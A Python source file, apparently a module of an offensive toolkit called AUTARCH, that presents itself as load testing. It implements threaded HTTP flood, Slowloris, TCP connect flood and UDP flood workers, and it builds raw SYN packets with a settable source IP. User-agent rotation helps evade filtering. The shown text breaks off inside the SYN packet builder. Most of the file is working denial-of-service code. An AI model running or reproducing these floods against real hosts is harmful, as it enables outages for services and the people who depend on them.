1098 lines
39 KiB
Python
1098 lines
39 KiB
Python
|
|
"""AUTARCH Load Testing Module
|
|||
|
|
|
|||
|
|
Multi-protocol load/stress testing tool combining features from
|
|||
|
|
Apache Bench, Locust, k6, wrk, Slowloris, and HULK.
|
|||
|
|
|
|||
|
|
Supports: HTTP/HTTPS GET/POST/PUT/DELETE, Slowloris, SYN flood,
|
|||
|
|
UDP flood, TCP connect flood, with real-time metrics and ramp-up patterns.
|
|||
|
|
"""
|
|||
|
|
|
|||
|
|
DESCRIPTION = "Load & stress testing toolkit"
|
|||
|
|
AUTHOR = "darkHal"
|
|||
|
|
VERSION = "1.0"
|
|||
|
|
CATEGORY = "offense"
|
|||
|
|
|
|||
|
|
import time
|
|||
|
|
import threading
|
|||
|
|
import random
|
|||
|
|
import string
|
|||
|
|
import socket
|
|||
|
|
import ssl
|
|||
|
|
import struct
|
|||
|
|
import queue
|
|||
|
|
import json
|
|||
|
|
import statistics
|
|||
|
|
from dataclasses import dataclass, field
|
|||
|
|
from typing import Dict, List, Optional, Any
|
|||
|
|
from enum import Enum
|
|||
|
|
from collections import deque
|
|||
|
|
from urllib.parse import urlparse
|
|||
|
|
|
|||
|
|
# Optional: requests for HTTP tests
|
|||
|
|
try:
|
|||
|
|
import requests
|
|||
|
|
from requests.adapters import HTTPAdapter
|
|||
|
|
REQUESTS_AVAILABLE = True
|
|||
|
|
except ImportError:
|
|||
|
|
REQUESTS_AVAILABLE = False
|
|||
|
|
|
|||
|
|
|
|||
|
|
class AttackType(Enum):
|
|||
|
|
HTTP_FLOOD = "http_flood"
|
|||
|
|
HTTP_SLOWLORIS = "slowloris"
|
|||
|
|
TCP_CONNECT = "tcp_connect"
|
|||
|
|
UDP_FLOOD = "udp_flood"
|
|||
|
|
SYN_FLOOD = "syn_flood"
|
|||
|
|
|
|||
|
|
|
|||
|
|
class RampPattern(Enum):
|
|||
|
|
CONSTANT = "constant" # All workers at once
|
|||
|
|
LINEAR = "linear" # Gradually add workers
|
|||
|
|
STEP = "step" # Add workers in bursts
|
|||
|
|
SPIKE = "spike" # Burst → sustain → burst
|
|||
|
|
|
|||
|
|
|
|||
|
|
@dataclass
|
|||
|
|
class RequestResult:
|
|||
|
|
status_code: int = 0
|
|||
|
|
latency_ms: float = 0.0
|
|||
|
|
bytes_sent: int = 0
|
|||
|
|
bytes_received: int = 0
|
|||
|
|
success: bool = False
|
|||
|
|
error: str = ""
|
|||
|
|
timestamp: float = 0.0
|
|||
|
|
|
|||
|
|
|
|||
|
|
@dataclass
|
|||
|
|
class TestMetrics:
|
|||
|
|
"""Live metrics for a running load test."""
|
|||
|
|
total_requests: int = 0
|
|||
|
|
successful: int = 0
|
|||
|
|
failed: int = 0
|
|||
|
|
bytes_sent: int = 0
|
|||
|
|
bytes_received: int = 0
|
|||
|
|
start_time: float = 0.0
|
|||
|
|
elapsed: float = 0.0
|
|||
|
|
active_workers: int = 0
|
|||
|
|
status_codes: Dict[int, int] = field(default_factory=dict)
|
|||
|
|
latencies: List[float] = field(default_factory=list)
|
|||
|
|
errors: Dict[str, int] = field(default_factory=dict)
|
|||
|
|
rps_history: List[float] = field(default_factory=list)
|
|||
|
|
|
|||
|
|
@property
|
|||
|
|
def rps(self) -> float:
|
|||
|
|
if self.elapsed <= 0:
|
|||
|
|
return 0.0
|
|||
|
|
return self.total_requests / self.elapsed
|
|||
|
|
|
|||
|
|
@property
|
|||
|
|
def avg_latency(self) -> float:
|
|||
|
|
return statistics.mean(self.latencies) if self.latencies else 0.0
|
|||
|
|
|
|||
|
|
@property
|
|||
|
|
def p50_latency(self) -> float:
|
|||
|
|
if not self.latencies:
|
|||
|
|
return 0.0
|
|||
|
|
s = sorted(self.latencies)
|
|||
|
|
return s[len(s) // 2]
|
|||
|
|
|
|||
|
|
@property
|
|||
|
|
def p95_latency(self) -> float:
|
|||
|
|
if not self.latencies:
|
|||
|
|
return 0.0
|
|||
|
|
s = sorted(self.latencies)
|
|||
|
|
return s[int(len(s) * 0.95)]
|
|||
|
|
|
|||
|
|
@property
|
|||
|
|
def p99_latency(self) -> float:
|
|||
|
|
if not self.latencies:
|
|||
|
|
return 0.0
|
|||
|
|
s = sorted(self.latencies)
|
|||
|
|
return s[int(len(s) * 0.99)]
|
|||
|
|
|
|||
|
|
@property
|
|||
|
|
def max_latency(self) -> float:
|
|||
|
|
return max(self.latencies) if self.latencies else 0.0
|
|||
|
|
|
|||
|
|
@property
|
|||
|
|
def min_latency(self) -> float:
|
|||
|
|
return min(self.latencies) if self.latencies else 0.0
|
|||
|
|
|
|||
|
|
@property
|
|||
|
|
def success_rate(self) -> float:
|
|||
|
|
if self.total_requests <= 0:
|
|||
|
|
return 0.0
|
|||
|
|
return (self.successful / self.total_requests) * 100
|
|||
|
|
|
|||
|
|
@property
|
|||
|
|
def error_rate(self) -> float:
|
|||
|
|
if self.total_requests <= 0:
|
|||
|
|
return 0.0
|
|||
|
|
return (self.failed / self.total_requests) * 100
|
|||
|
|
|
|||
|
|
def to_dict(self) -> dict:
|
|||
|
|
return {
|
|||
|
|
'total_requests': self.total_requests,
|
|||
|
|
'successful': self.successful,
|
|||
|
|
'failed': self.failed,
|
|||
|
|
'bytes_sent': self.bytes_sent,
|
|||
|
|
'bytes_received': self.bytes_received,
|
|||
|
|
'elapsed': round(self.elapsed, 2),
|
|||
|
|
'active_workers': self.active_workers,
|
|||
|
|
'rps': round(self.rps, 1),
|
|||
|
|
'avg_latency': round(self.avg_latency, 2),
|
|||
|
|
'p50_latency': round(self.p50_latency, 2),
|
|||
|
|
'p95_latency': round(self.p95_latency, 2),
|
|||
|
|
'p99_latency': round(self.p99_latency, 2),
|
|||
|
|
'max_latency': round(self.max_latency, 2),
|
|||
|
|
'min_latency': round(self.min_latency, 2),
|
|||
|
|
'success_rate': round(self.success_rate, 1),
|
|||
|
|
'error_rate': round(self.error_rate, 1),
|
|||
|
|
'status_codes': dict(self.status_codes),
|
|||
|
|
'top_errors': dict(sorted(self.errors.items(), key=lambda x: -x[1])[:5]),
|
|||
|
|
'rps_history': list(self.rps_history[-60:]),
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
|
|||
|
|
# User-agent rotation pool
|
|||
|
|
USER_AGENTS = [
|
|||
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
|
|||
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/605.1.15",
|
|||
|
|
"Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0",
|
|||
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0.0.0",
|
|||
|
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148",
|
|||
|
|
"Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/120.0.0.0 Mobile Safari/537.36",
|
|||
|
|
"curl/8.4.0",
|
|||
|
|
"python-requests/2.31.0",
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
|
|||
|
|
class LoadTester:
|
|||
|
|
"""Multi-protocol load testing engine."""
|
|||
|
|
|
|||
|
|
def __init__(self):
|
|||
|
|
self._stop_event = threading.Event()
|
|||
|
|
self._pause_event = threading.Event()
|
|||
|
|
self._pause_event.set() # Not paused by default
|
|||
|
|
self._workers: List[threading.Thread] = []
|
|||
|
|
self._metrics = TestMetrics()
|
|||
|
|
self._metrics_lock = threading.Lock()
|
|||
|
|
self._running = False
|
|||
|
|
self._config: Dict[str, Any] = {}
|
|||
|
|
self._result_queue: queue.Queue = queue.Queue()
|
|||
|
|
self._subscribers: List[queue.Queue] = []
|
|||
|
|
self._rps_counter = 0
|
|||
|
|
self._rps_timer_start = 0.0
|
|||
|
|
|
|||
|
|
@property
|
|||
|
|
def running(self) -> bool:
|
|||
|
|
return self._running
|
|||
|
|
|
|||
|
|
@property
|
|||
|
|
def metrics(self) -> TestMetrics:
|
|||
|
|
return self._metrics
|
|||
|
|
|
|||
|
|
def start(self, config: Dict[str, Any]):
|
|||
|
|
"""Start a load test with given configuration.
|
|||
|
|
|
|||
|
|
Config keys:
|
|||
|
|
target: URL or host:port
|
|||
|
|
attack_type: http_flood|slowloris|tcp_connect|udp_flood|syn_flood
|
|||
|
|
workers: Number of concurrent workers
|
|||
|
|
duration: Duration in seconds (0 = unlimited)
|
|||
|
|
requests_per_worker: Max requests per worker (0 = unlimited)
|
|||
|
|
ramp_pattern: constant|linear|step|spike
|
|||
|
|
ramp_duration: Ramp-up time in seconds
|
|||
|
|
method: HTTP method (GET/POST/PUT/DELETE)
|
|||
|
|
headers: Custom headers dict
|
|||
|
|
body: Request body
|
|||
|
|
timeout: Request timeout in seconds
|
|||
|
|
follow_redirects: Follow HTTP redirects
|
|||
|
|
verify_ssl: Verify SSL certificates
|
|||
|
|
rotate_useragent: Rotate user agents
|
|||
|
|
custom_useragent: Custom user agent string
|
|||
|
|
rate_limit: Max requests per second (0 = unlimited)
|
|||
|
|
payload_size: UDP/TCP payload size in bytes
|
|||
|
|
"""
|
|||
|
|
if self._running:
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
self._stop_event.clear()
|
|||
|
|
self._pause_event.set()
|
|||
|
|
self._running = True
|
|||
|
|
self._config = config
|
|||
|
|
self._metrics = TestMetrics(start_time=time.time())
|
|||
|
|
self._rps_counter = 0
|
|||
|
|
self._rps_timer_start = time.time()
|
|||
|
|
|
|||
|
|
# Start metrics collector thread
|
|||
|
|
collector = threading.Thread(target=self._collect_results, daemon=True)
|
|||
|
|
collector.start()
|
|||
|
|
|
|||
|
|
# Start RPS tracker
|
|||
|
|
rps_tracker = threading.Thread(target=self._track_rps, daemon=True)
|
|||
|
|
rps_tracker.start()
|
|||
|
|
|
|||
|
|
# Determine attack type
|
|||
|
|
attack_type = config.get('attack_type', 'http_flood')
|
|||
|
|
workers = config.get('workers', 10)
|
|||
|
|
ramp = config.get('ramp_pattern', 'constant')
|
|||
|
|
ramp_dur = config.get('ramp_duration', 0)
|
|||
|
|
|
|||
|
|
# Launch workers based on ramp pattern
|
|||
|
|
launcher = threading.Thread(
|
|||
|
|
target=self._launch_workers,
|
|||
|
|
args=(attack_type, workers, ramp, ramp_dur),
|
|||
|
|
daemon=True
|
|||
|
|
)
|
|||
|
|
launcher.start()
|
|||
|
|
|
|||
|
|
def stop(self):
|
|||
|
|
"""Stop the load test."""
|
|||
|
|
self._stop_event.set()
|
|||
|
|
self._running = False
|
|||
|
|
|
|||
|
|
def pause(self):
|
|||
|
|
"""Pause the load test."""
|
|||
|
|
self._pause_event.clear()
|
|||
|
|
|
|||
|
|
def resume(self):
|
|||
|
|
"""Resume the load test."""
|
|||
|
|
self._pause_event.set()
|
|||
|
|
|
|||
|
|
def subscribe(self) -> queue.Queue:
|
|||
|
|
"""Subscribe to real-time metric updates."""
|
|||
|
|
q = queue.Queue()
|
|||
|
|
self._subscribers.append(q)
|
|||
|
|
return q
|
|||
|
|
|
|||
|
|
def unsubscribe(self, q: queue.Queue):
|
|||
|
|
"""Unsubscribe from metric updates."""
|
|||
|
|
if q in self._subscribers:
|
|||
|
|
self._subscribers.remove(q)
|
|||
|
|
|
|||
|
|
def _publish(self, data: dict):
|
|||
|
|
"""Publish data to all subscribers."""
|
|||
|
|
dead = []
|
|||
|
|
for q in self._subscribers:
|
|||
|
|
try:
|
|||
|
|
q.put_nowait(data)
|
|||
|
|
except queue.Full:
|
|||
|
|
dead.append(q)
|
|||
|
|
for q in dead:
|
|||
|
|
self._subscribers.remove(q)
|
|||
|
|
|
|||
|
|
def _launch_workers(self, attack_type: str, total_workers: int,
|
|||
|
|
ramp: str, ramp_dur: float):
|
|||
|
|
"""Launch worker threads according to ramp pattern."""
|
|||
|
|
worker_fn = {
|
|||
|
|
'http_flood': self._http_worker,
|
|||
|
|
'slowloris': self._slowloris_worker,
|
|||
|
|
'tcp_connect': self._tcp_worker,
|
|||
|
|
'udp_flood': self._udp_worker,
|
|||
|
|
'syn_flood': self._syn_worker,
|
|||
|
|
}.get(attack_type, self._http_worker)
|
|||
|
|
|
|||
|
|
if ramp == 'constant' or ramp_dur <= 0:
|
|||
|
|
for i in range(total_workers):
|
|||
|
|
if self._stop_event.is_set():
|
|||
|
|
break
|
|||
|
|
t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
|
|||
|
|
t.start()
|
|||
|
|
self._workers.append(t)
|
|||
|
|
with self._metrics_lock:
|
|||
|
|
self._metrics.active_workers = len(self._workers)
|
|||
|
|
elif ramp == 'linear':
|
|||
|
|
interval = ramp_dur / max(total_workers, 1)
|
|||
|
|
for i in range(total_workers):
|
|||
|
|
if self._stop_event.is_set():
|
|||
|
|
break
|
|||
|
|
t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
|
|||
|
|
t.start()
|
|||
|
|
self._workers.append(t)
|
|||
|
|
with self._metrics_lock:
|
|||
|
|
self._metrics.active_workers = len(self._workers)
|
|||
|
|
time.sleep(interval)
|
|||
|
|
elif ramp == 'step':
|
|||
|
|
steps = min(5, total_workers)
|
|||
|
|
per_step = total_workers // steps
|
|||
|
|
step_interval = ramp_dur / steps
|
|||
|
|
for s in range(steps):
|
|||
|
|
if self._stop_event.is_set():
|
|||
|
|
break
|
|||
|
|
count = per_step if s < steps - 1 else total_workers - len(self._workers)
|
|||
|
|
for i in range(count):
|
|||
|
|
if self._stop_event.is_set():
|
|||
|
|
break
|
|||
|
|
t = threading.Thread(target=worker_fn, args=(len(self._workers),), daemon=True)
|
|||
|
|
t.start()
|
|||
|
|
self._workers.append(t)
|
|||
|
|
with self._metrics_lock:
|
|||
|
|
self._metrics.active_workers = len(self._workers)
|
|||
|
|
time.sleep(step_interval)
|
|||
|
|
elif ramp == 'spike':
|
|||
|
|
# Burst 50%, wait, add remaining
|
|||
|
|
burst = total_workers // 2
|
|||
|
|
for i in range(burst):
|
|||
|
|
if self._stop_event.is_set():
|
|||
|
|
break
|
|||
|
|
t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
|
|||
|
|
t.start()
|
|||
|
|
self._workers.append(t)
|
|||
|
|
with self._metrics_lock:
|
|||
|
|
self._metrics.active_workers = len(self._workers)
|
|||
|
|
time.sleep(ramp_dur / 2)
|
|||
|
|
for i in range(burst, total_workers):
|
|||
|
|
if self._stop_event.is_set():
|
|||
|
|
break
|
|||
|
|
t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
|
|||
|
|
t.start()
|
|||
|
|
self._workers.append(t)
|
|||
|
|
with self._metrics_lock:
|
|||
|
|
self._metrics.active_workers = len(self._workers)
|
|||
|
|
|
|||
|
|
# Wait for duration or stop
|
|||
|
|
duration = self._config.get('duration', 0)
|
|||
|
|
if duration > 0:
|
|||
|
|
start = time.time()
|
|||
|
|
while time.time() - start < duration and not self._stop_event.is_set():
|
|||
|
|
time.sleep(0.5)
|
|||
|
|
self.stop()
|
|||
|
|
|
|||
|
|
def _collect_results(self):
|
|||
|
|
"""Collect results from worker threads."""
|
|||
|
|
while self._running or not self._result_queue.empty():
|
|||
|
|
try:
|
|||
|
|
result = self._result_queue.get(timeout=0.5)
|
|||
|
|
except queue.Empty:
|
|||
|
|
continue
|
|||
|
|
|
|||
|
|
with self._metrics_lock:
|
|||
|
|
m = self._metrics
|
|||
|
|
m.total_requests += 1
|
|||
|
|
m.elapsed = time.time() - m.start_time
|
|||
|
|
m.bytes_sent += result.bytes_sent
|
|||
|
|
m.bytes_received += result.bytes_received
|
|||
|
|
|
|||
|
|
if result.success:
|
|||
|
|
m.successful += 1
|
|||
|
|
else:
|
|||
|
|
m.failed += 1
|
|||
|
|
err_key = result.error[:50] if result.error else 'unknown'
|
|||
|
|
m.errors[err_key] = m.errors.get(err_key, 0) + 1
|
|||
|
|
|
|||
|
|
if result.status_code:
|
|||
|
|
m.status_codes[result.status_code] = m.status_codes.get(result.status_code, 0) + 1
|
|||
|
|
|
|||
|
|
if result.latency_ms > 0:
|
|||
|
|
# Keep last 10000 latencies for percentile calculation
|
|||
|
|
if len(m.latencies) > 10000:
|
|||
|
|
m.latencies = m.latencies[-5000:]
|
|||
|
|
m.latencies.append(result.latency_ms)
|
|||
|
|
|
|||
|
|
self._rps_counter += 1
|
|||
|
|
|
|||
|
|
# Publish update every 20 requests
|
|||
|
|
if m.total_requests % 20 == 0:
|
|||
|
|
self._publish({'type': 'metrics', 'data': m.to_dict()})
|
|||
|
|
|
|||
|
|
def _track_rps(self):
|
|||
|
|
"""Track requests per second over time."""
|
|||
|
|
while self._running:
|
|||
|
|
time.sleep(1)
|
|||
|
|
with self._metrics_lock:
|
|||
|
|
now = time.time()
|
|||
|
|
elapsed = now - self._rps_timer_start
|
|||
|
|
if elapsed >= 1.0:
|
|||
|
|
current_rps = self._rps_counter / elapsed
|
|||
|
|
self._metrics.rps_history.append(round(current_rps, 1))
|
|||
|
|
if len(self._metrics.rps_history) > 120:
|
|||
|
|
self._metrics.rps_history = self._metrics.rps_history[-60:]
|
|||
|
|
self._rps_counter = 0
|
|||
|
|
self._rps_timer_start = now
|
|||
|
|
|
|||
|
|
def _should_continue(self, request_count: int) -> bool:
|
|||
|
|
"""Check if worker should continue."""
|
|||
|
|
if self._stop_event.is_set():
|
|||
|
|
return False
|
|||
|
|
max_req = self._config.get('requests_per_worker', 0)
|
|||
|
|
if max_req > 0 and request_count >= max_req:
|
|||
|
|
return False
|
|||
|
|
return True
|
|||
|
|
|
|||
|
|
def _rate_limit_wait(self):
|
|||
|
|
"""Apply rate limiting if configured."""
|
|||
|
|
rate = self._config.get('rate_limit', 0)
|
|||
|
|
if rate > 0:
|
|||
|
|
workers = self._config.get('workers', 1)
|
|||
|
|
per_worker = rate / max(workers, 1)
|
|||
|
|
if per_worker > 0:
|
|||
|
|
time.sleep(1.0 / per_worker)
|
|||
|
|
|
|||
|
|
def _get_session(self) -> 'requests.Session':
|
|||
|
|
"""Create an HTTP session with configuration."""
|
|||
|
|
if not REQUESTS_AVAILABLE:
|
|||
|
|
raise RuntimeError("requests library not available")
|
|||
|
|
|
|||
|
|
session = requests.Session()
|
|||
|
|
adapter = HTTPAdapter(
|
|||
|
|
pool_connections=10,
|
|||
|
|
pool_maxsize=10,
|
|||
|
|
max_retries=0,
|
|||
|
|
)
|
|||
|
|
session.mount('http://', adapter)
|
|||
|
|
session.mount('https://', adapter)
|
|||
|
|
session.verify = self._config.get('verify_ssl', False)
|
|||
|
|
|
|||
|
|
# Custom headers
|
|||
|
|
headers = self._config.get('headers', {})
|
|||
|
|
if headers:
|
|||
|
|
session.headers.update(headers)
|
|||
|
|
|
|||
|
|
if self._config.get('rotate_useragent', True):
|
|||
|
|
session.headers['User-Agent'] = random.choice(USER_AGENTS)
|
|||
|
|
elif self._config.get('custom_useragent'):
|
|||
|
|
session.headers['User-Agent'] = self._config['custom_useragent']
|
|||
|
|
|
|||
|
|
return session
|
|||
|
|
|
|||
|
|
def _http_worker(self, worker_id: int):
|
|||
|
|
"""HTTP flood worker — sends rapid HTTP requests."""
|
|||
|
|
target = self._config.get('target', '')
|
|||
|
|
method = self._config.get('method', 'GET').upper()
|
|||
|
|
body = self._config.get('body', '')
|
|||
|
|
timeout = self._config.get('timeout', 10)
|
|||
|
|
follow = self._config.get('follow_redirects', True)
|
|||
|
|
count = 0
|
|||
|
|
|
|||
|
|
session = self._get_session()
|
|||
|
|
|
|||
|
|
while self._should_continue(count):
|
|||
|
|
self._pause_event.wait()
|
|||
|
|
self._rate_limit_wait()
|
|||
|
|
|
|||
|
|
if self._config.get('rotate_useragent', True):
|
|||
|
|
session.headers['User-Agent'] = random.choice(USER_AGENTS)
|
|||
|
|
|
|||
|
|
start = time.time()
|
|||
|
|
result = RequestResult(timestamp=start)
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
resp = session.request(
|
|||
|
|
method, target,
|
|||
|
|
data=body if body else None,
|
|||
|
|
timeout=timeout,
|
|||
|
|
allow_redirects=follow,
|
|||
|
|
)
|
|||
|
|
elapsed = (time.time() - start) * 1000
|
|||
|
|
|
|||
|
|
result.status_code = resp.status_code
|
|||
|
|
result.latency_ms = elapsed
|
|||
|
|
result.bytes_received = len(resp.content)
|
|||
|
|
result.bytes_sent = len(body.encode()) if body else 0
|
|||
|
|
result.success = 200 <= resp.status_code < 500
|
|||
|
|
|
|||
|
|
except requests.Timeout:
|
|||
|
|
result.error = "timeout"
|
|||
|
|
result.latency_ms = timeout * 1000
|
|||
|
|
except requests.ConnectionError as e:
|
|||
|
|
result.error = f"connection_error: {str(e)[:60]}"
|
|||
|
|
except Exception as e:
|
|||
|
|
result.error = str(e)[:80]
|
|||
|
|
|
|||
|
|
self._result_queue.put(result)
|
|||
|
|
count += 1
|
|||
|
|
|
|||
|
|
session.close()
|
|||
|
|
|
|||
|
|
def _slowloris_worker(self, worker_id: int):
|
|||
|
|
"""Slowloris worker — holds connections open with partial headers."""
|
|||
|
|
parsed = urlparse(self._config.get('target', ''))
|
|||
|
|
host = parsed.hostname or self._config.get('target', '')
|
|||
|
|
port = parsed.port or (443 if parsed.scheme == 'https' else 80)
|
|||
|
|
use_ssl = parsed.scheme == 'https'
|
|||
|
|
timeout = self._config.get('timeout', 10)
|
|||
|
|
|
|||
|
|
sockets: List[socket.socket] = []
|
|||
|
|
max_sockets = 50 # Per worker
|
|||
|
|
|
|||
|
|
while self._should_continue(0):
|
|||
|
|
self._pause_event.wait()
|
|||
|
|
|
|||
|
|
# Create new sockets up to limit
|
|||
|
|
while len(sockets) < max_sockets and not self._stop_event.is_set():
|
|||
|
|
try:
|
|||
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|||
|
|
sock.settimeout(timeout)
|
|||
|
|
if use_ssl:
|
|||
|
|
ctx = ssl.create_default_context()
|
|||
|
|
ctx.check_hostname = False
|
|||
|
|
ctx.verify_mode = ssl.CERT_NONE
|
|||
|
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
|||
|
|
sock.connect((host, port))
|
|||
|
|
|
|||
|
|
# Send partial HTTP request
|
|||
|
|
ua = random.choice(USER_AGENTS)
|
|||
|
|
sock.send(f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n".encode())
|
|||
|
|
sock.send(f"Host: {host}\r\n".encode())
|
|||
|
|
sock.send(f"User-Agent: {ua}\r\n".encode())
|
|||
|
|
sock.send(b"Accept-language: en-US,en;q=0.5\r\n")
|
|||
|
|
|
|||
|
|
sockets.append(sock)
|
|||
|
|
result = RequestResult(
|
|||
|
|
success=True, timestamp=time.time(),
|
|||
|
|
bytes_sent=200, latency_ms=0
|
|||
|
|
)
|
|||
|
|
self._result_queue.put(result)
|
|||
|
|
except Exception as e:
|
|||
|
|
result = RequestResult(
|
|||
|
|
error=str(e)[:60], timestamp=time.time()
|
|||
|
|
)
|
|||
|
|
self._result_queue.put(result)
|
|||
|
|
break
|
|||
|
|
|
|||
|
|
# Keep connections alive with partial headers
|
|||
|
|
dead = []
|
|||
|
|
for i, sock in enumerate(sockets):
|
|||
|
|
try:
|
|||
|
|
header = f"X-a: {random.randint(1, 5000)}\r\n"
|
|||
|
|
sock.send(header.encode())
|
|||
|
|
except Exception:
|
|||
|
|
dead.append(i)
|
|||
|
|
|
|||
|
|
# Remove dead sockets
|
|||
|
|
for i in sorted(dead, reverse=True):
|
|||
|
|
try:
|
|||
|
|
sockets[i].close()
|
|||
|
|
except Exception:
|
|||
|
|
pass
|
|||
|
|
sockets.pop(i)
|
|||
|
|
|
|||
|
|
time.sleep(random.uniform(5, 15))
|
|||
|
|
|
|||
|
|
# Cleanup
|
|||
|
|
for sock in sockets:
|
|||
|
|
try:
|
|||
|
|
sock.close()
|
|||
|
|
except Exception:
|
|||
|
|
pass
|
|||
|
|
|
|||
|
|
def _tcp_worker(self, worker_id: int):
|
|||
|
|
"""TCP connect flood worker — rapid connect/disconnect."""
|
|||
|
|
parsed = urlparse(self._config.get('target', ''))
|
|||
|
|
host = parsed.hostname or self._config.get('target', '').split(':')[0]
|
|||
|
|
try:
|
|||
|
|
port = parsed.port or int(self._config.get('target', '').split(':')[-1])
|
|||
|
|
except (ValueError, IndexError):
|
|||
|
|
port = 80
|
|||
|
|
timeout = self._config.get('timeout', 5)
|
|||
|
|
payload_size = self._config.get('payload_size', 0)
|
|||
|
|
count = 0
|
|||
|
|
|
|||
|
|
while self._should_continue(count):
|
|||
|
|
self._pause_event.wait()
|
|||
|
|
self._rate_limit_wait()
|
|||
|
|
|
|||
|
|
start = time.time()
|
|||
|
|
result = RequestResult(timestamp=start)
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|||
|
|
sock.settimeout(timeout)
|
|||
|
|
sock.connect((host, port))
|
|||
|
|
|
|||
|
|
if payload_size > 0:
|
|||
|
|
data = random.randbytes(payload_size)
|
|||
|
|
sock.send(data)
|
|||
|
|
result.bytes_sent = payload_size
|
|||
|
|
|
|||
|
|
elapsed = (time.time() - start) * 1000
|
|||
|
|
result.latency_ms = elapsed
|
|||
|
|
result.success = True
|
|||
|
|
|
|||
|
|
sock.close()
|
|||
|
|
except socket.timeout:
|
|||
|
|
result.error = "timeout"
|
|||
|
|
result.latency_ms = timeout * 1000
|
|||
|
|
except ConnectionRefusedError:
|
|||
|
|
result.error = "connection_refused"
|
|||
|
|
except Exception as e:
|
|||
|
|
result.error = str(e)[:60]
|
|||
|
|
|
|||
|
|
self._result_queue.put(result)
|
|||
|
|
count += 1
|
|||
|
|
|
|||
|
|
def _udp_worker(self, worker_id: int):
|
|||
|
|
"""UDP flood worker — sends UDP packets."""
|
|||
|
|
target = self._config.get('target', '')
|
|||
|
|
host = target.split(':')[0] if ':' in target else target
|
|||
|
|
try:
|
|||
|
|
port = int(target.split(':')[1]) if ':' in target else 80
|
|||
|
|
except (ValueError, IndexError):
|
|||
|
|
port = 80
|
|||
|
|
payload_size = self._config.get('payload_size', 1024)
|
|||
|
|
count = 0
|
|||
|
|
|
|||
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|||
|
|
|
|||
|
|
while self._should_continue(count):
|
|||
|
|
self._pause_event.wait()
|
|||
|
|
self._rate_limit_wait()
|
|||
|
|
|
|||
|
|
start = time.time()
|
|||
|
|
result = RequestResult(timestamp=start)
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
data = random.randbytes(payload_size)
|
|||
|
|
sock.sendto(data, (host, port))
|
|||
|
|
elapsed = (time.time() - start) * 1000
|
|||
|
|
result.latency_ms = elapsed
|
|||
|
|
result.bytes_sent = payload_size
|
|||
|
|
result.success = True
|
|||
|
|
except Exception as e:
|
|||
|
|
result.error = str(e)[:60]
|
|||
|
|
|
|||
|
|
self._result_queue.put(result)
|
|||
|
|
count += 1
|
|||
|
|
|
|||
|
|
sock.close()
|
|||
|
|
|
|||
|
|
@staticmethod
|
|||
|
|
def _checksum(data: bytes) -> int:
|
|||
|
|
"""Calculate IP/TCP checksum."""
|
|||
|
|
if len(data) % 2:
|
|||
|
|
data += b'\x00'
|
|||
|
|
s = 0
|
|||
|
|
for i in range(0, len(data), 2):
|
|||
|
|
s += (data[i] << 8) + data[i + 1]
|
|||
|
|
s = (s >> 16) + (s & 0xffff)
|
|||
|
|
s += s >> 16
|
|||
|
|
return ~s & 0xffff
|
|||
|
|
|
|||
|
|
def _build_syn_packet(self, src_ip: str, dst_ip: str,
|
|||
|
|
src_port: int, dst_port: int) -> bytes:
|
|||
|
|
"""Build a raw TCP SYN packet (IP header + TCP header)."""
|
|||
|
|
# IP Header (20 bytes)
|
|||
|
|
ip_ihl_ver = (4 << 4) + 5 # IPv4, IHL=5 (20 bytes)
|
|||
|
|
ip_tos = 0
|
|||
|
|
ip_tot_len = 40 # 20 IP + 20 TCP
|
|||
|
|
ip_id = random.randint(1, 65535)
|
|||
|
|
ip_frag_off = 0
|
|||
|
|
ip_ttl = 64
|
|||
|
|
ip_proto = socket.IPPROTO_TCP
|
|||
|
|
ip_check = 0
|
|||
|
|
ip_saddr = socket.inet_aton(src_ip)
|
|||
|
|
ip_daddr = socket.inet_aton(dst_ip)
|
|||
|
|
|
|||
|
|
ip_header = struct.pack('!BBHHHBBH4s4s',
|
|||
|
|
ip_ihl_ver, ip_tos, ip_tot_len, ip_id,
|
|||
|
|
ip_frag_off, ip_ttl, ip_proto, ip_check,
|
|||
|
|
ip_saddr, ip_daddr)
|
|||
|
|
# Recalculate IP checksum
|
|||
|
|
ip_check = self._checksum(ip_header)
|
|||
|
|
ip_header = struct.pack('!BBHHHBBH4s4s',
|
|||
|
|
ip_ihl_ver, ip_tos, ip_tot_len, ip_id,
|
|||
|
|
ip_frag_off, ip_ttl, ip_proto, ip_check,
|
|||
|
|
ip_saddr, ip_daddr)
|
|||
|
|
|
|||
|
|
# TCP Header (20 bytes)
|
|||
|
|
tcp_seq = random.randint(0, 0xFFFFFFFF)
|
|||
|
|
tcp_ack_seq = 0
|
|||
|
|
tcp_doff = 5 # Data offset: 5 words (20 bytes)
|
|||
|
|
tcp_flags = 0x02 # SYN
|
|||
|
|
tcp_window = socket.htons(5840)
|
|||
|
|
tcp_check = 0
|
|||
|
|
tcp_urg_ptr = 0
|
|||
|
|
tcp_offset_res = (tcp_doff << 4) + 0
|
|||
|
|
|
|||
|
|
tcp_header = struct.pack('!HHLLBBHHH',
|
|||
|
|
src_port, dst_port, tcp_seq, tcp_ack_seq,
|
|||
|
|
tcp_offset_res, tcp_flags, tcp_window,
|
|||
|
|
tcp_check, tcp_urg_ptr)
|
|||
|
|
|
